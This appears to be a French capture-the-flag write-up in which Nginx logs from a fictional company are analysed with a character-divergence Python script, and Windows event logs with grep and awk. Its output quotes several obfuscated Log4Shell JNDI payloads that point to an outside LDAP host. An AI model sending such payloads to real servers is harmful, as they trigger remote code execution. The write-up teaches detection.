Une activité suspecte détectée sur le portail partenaires de Novatech pourrait être la première étape d'une intrusion sophistiquée.
Le système de détection d'intrusion a signalé un comportement anormal sur le serveur web de la DMZ. L'équipe de sécurité craint qu'un attaquant ait trouvé une brèche dans les défenses externes de l'entreprise.
Le RSSI de Novatech Industries vous a contacté suite à la détection d'activités suspectes sur le serveur hébergeant le portail partenaires. Les systèmes de surveillance ont collecté les logs d'accès Nginx du serveur pendant la période concernée.
Votre mission est d'analyser ces logs pour déterminer si une intrusion a eu lieu, identifier le vecteur d'attaque et évaluer l'étendue de la compromission initiale.
Le seul moyen d'identifier les requêtes malveillantes parmi les logs est de faire une analyse de l'entropie des champs des requêtes.
Pour cela, il faut écrire un script qui va calculer l'entropie de chaque paramètre dans les requêtes HTTP et comparer cette entropie à la distribution moyenne des caractères dans l'ensemble des logs. Les paramètres présentant une divergence significative sont susceptibles d'être malveillants.
Nous calculons une version simplifiée de la divergence de Kullback-Leibler. Cette mesure quantifie la différence entre deux distributions de probabilités - dans notre cas, entre la distribution des caractères d'un paramètre spécifique et la distribution moyenne de tous les paramètres dans le fichier de logs.
Le script calcule donc la distribution de caractère de référence à partir de l'ensemble des logs, puis pour chaque paramètre, il calcule la divergence par rapport à cette distribution.
divergence += (fréquence_observée) * |log2(fréquence_observée / fréquence_attendue)|
Plus la valeur est élevée, plus le paramètre est suspect.
Après exécution, le script classe les paramètres par score de divergence. Les paramètres ayant les scores les plus élevés sont ceux qui contiennent des distributions de caractères les plus anormales.
En examinant les premiers résultats en lançant le script sur le fichier de log, nous pouvons identifier les requêtes Log4Shell:
Analyse des paramètres anormaux dans partner_hub_nginx.log...
Première passe: collecte des statistiques...
Nombre de paramètres analysés: 363585
Deuxième passe: détection des anomalies...
Paramètres inhabituels détectés (triés par score):
================================================================================
1. Ligne 67470: Score = 4.03
Paramètre suspect: query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}
Log complet: 192.168.1.23 - - [06/May/2025:19:11:07 +0200] "GET /analytics/reports?query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}&format=xlsx HTTP/1.1" 200 4219 "https://www.google.com/" "Wget/1.21.1"
--------------------------------------------------------------------------------
2. Ligne 67505: Score = 4.03
Paramètre suspect: query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}
Log complet: 192.168.1.23 - - [06/May/2025:19:18:20 +0200] "GET /analytics/reports?query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}&page=7 HTTP/1.1" 200 3015 "https://www.google.com/" "Wget/1.21.1"
--------------------------------------------------------------------------------
3. Ligne 67535: Score = 4.03
Paramètre suspect: query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}
Log complet: 192.168.1.23 - - [06/May/2025:19:24:09 +0200] "GET /projects/PRJ-6942?query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}&view=table HTTP/1.1" 200 4297 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
--------------------------------------------------------------------------------
4. Ligne 67561: Score = 4.03
Paramètre suspect: query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}
Log complet: 192.168.1.23 - - [06/May/2025:19:30:07 +0200] "GET /search/partners?query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService} HTTP/1.1" 200 2698 "https://www.google.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"
--------------------------------------------------------------------------------
5. Ligne 67572: Score = 4.03
Paramètre suspect: query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}
Log complet: 192.168.1.23 - - [06/May/2025:19:32:16 +0200] "GET /projects/PRJ-6942?query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}&filter[status]=eu HTTP/1.1" 200 1944 "-" "Mozilla/5.0 (compatible; bongbot/2.0; +http://www.bong.com/bingbot.htm)"
--------------------------------------------------------------------------------
6. Ligne 82656: Score = 3.54
Paramètre suspect: auth=ACL=LKCHxJ/W3Z5o/UWUgHJMGUu3hH/xCZ=NK6N=3KZ
Log complet: 198.51.100.5 - - [10/May/2025:15:12:58 +0200] "POST /search/partners?start_date=2025-04-03&signature=6724450061905c897da29f6fdeef1fb1dfe78351b64c868870ff512808568d0d&signature=52PbN5BhXb7L1yxCj97D=TiMeLbLO/HF&auth=ACL=LKCHxJ/W3Z5o/UWUgHJMGUu3hH/xCZ=NK6N=3KZ&filter[category]=completed HTTP/1.1" 200 3337 "https://mail.novatech.com/" "Mozilla/5.0 (compatible; YoundexBot/3.0; +http://youndex.com/bots)"
...
Il suffit au joueur d'identifier la CVE associée à cette requête, en faisant des recherches sur Internet, le payload étant très reconnaissable.
Nous avons donc ici identifié les deux flags: les requêtes Log4Shell et donc la CVE correspondante, et on a identifié l'heure de la première requête suspecte.
Voici un exemple de script Python pour faire cette analyse :
import math
import argparse
import re
from collections import Counter
def score_param(param, char_distribution):
# Calcul du score de divergence par rapport à la distribution moyenne
divergence = 0
param_chars = Counter(param)
total_chars = len(param)
for char, count in param_chars.items():
observed_freq = count / total_chars
expected_freq = char_distribution.get(char, 0.001) # Éviter division par zéro
if expected_freq > 0:
# Version simplifiée de la divergence KL
divergence += observed_freq * abs(math.log2(observed_freq / expected_freq))
return divergence
def analyze_logs(filename, top_n=20, min_length=8):
"""
Analyse un fichier de logs en deux passes:
1. Calcule la distribution moyenne des caractères et l'entropie moyenne
2. Identifie les paramètres suspects basés sur la déviation par rapport à la moyenne
"""
# Première passe: collecter des statistiques sur tous les paramètres
all_params = []
all_chars = Counter()
total_chars = 0
print("Première passe: collecte des statistiques...")
with open(filename, 'r', errors='ignore') as f:
for line in f:
params = re.findall(r'[?&]([^&\s]+)', line)
for param in params:
if len(param) >= min_length:
all_params.append(param)
all_chars.update(param)
total_chars += len(param)
# Calculer la distribution moyenne des caractères
char_distribution = {char: count/total_chars for char, count in all_chars.items()}
print(f"Nombre de paramètres analysés: {len(all_params)}")
# Deuxième passe: analyser les paramètres par rapport aux moyennes
results = []
print("Deuxième passe: détection des anomalies...")
with open(filename, 'r', errors='ignore') as f:
for i, line in enumerate(f, 1):
params = re.findall(r'[?&]([^&\s]+)', line)
for param in params:
if len(param) < min_length:
continue
score = score_param(param, char_distribution)
results.append((i, score, param, line.strip()))
# Trier par score décroissant
results.sort(key=lambda x: x[1], reverse=True)
return results[:top_n]
def main():
parser = argparse.ArgumentParser(description='Analyse des logs pour détecter des anomalies')
parser.add_argument('filename', help='Fichier de logs à analyser')
parser.add_argument('--top', type=int, default=20, help='Nombre de résultats à afficher')
parser.add_argument('--min-length', type=int, default=8, help='Longueur minimale des paramètres à analyser')
args = parser.parse_args()
print(f"Analyse des paramètres anormaux dans {args.filename}...")
results = analyze_logs(args.filename, args.top, args.min_length)
if not results:
print("Aucun paramètre suspect trouvé.")
return
print("\nParamètres inhabituels détectés (triés par score):")
print("=" * 80)
for i, (line_num, score, param, line) in enumerate(results, 1):
print(f"{i}. Ligne {line_num}: Score = {score:.2f}")
print(f" Paramètre suspect: {param}")
print(f" Log complet: {line}")
print("-" * 80)
if __name__ == "__main__":
main()
L'objectif de cette étape est d'analyser les logs events.xml afin d'identifier une connexion réalisée à un horaire inhabituel (en pleine nuit) et d'extraire deux éléments clés :
L'idée à avoir pour cette étape est d'identifier un horaire suspect de connexion.
Nous cherchons d'abord à repérer les événements ayant eu lieu entre 23h00 et 6h00.
Pour cela, on utilise la commande suivante :
grep -oP '(?<=<TimeCreated SystemTime=")[^"]+' events.xml | awk -F'T' '{if ($2 < "06:00:00" || $2 > "23:00:00") print $0}'
On obtient la date et heure suivante : 2025-05-16T03:18:56.8492094
Maintenant que nous connaissons la date et l'heure, nous allons retrouver l'événement XML correspondant.
On utilise la commande suivante :
awk '/<Event /,/<\/Event>/' events.xml | grep -B 10 -A 20 '2025-05-16T03:18:56.8492094'
On obtient :

Nous avons ici les deux flags en analysant l'événement extrait : le compte utilisé pour la connexion ainsi que le Logon GUID.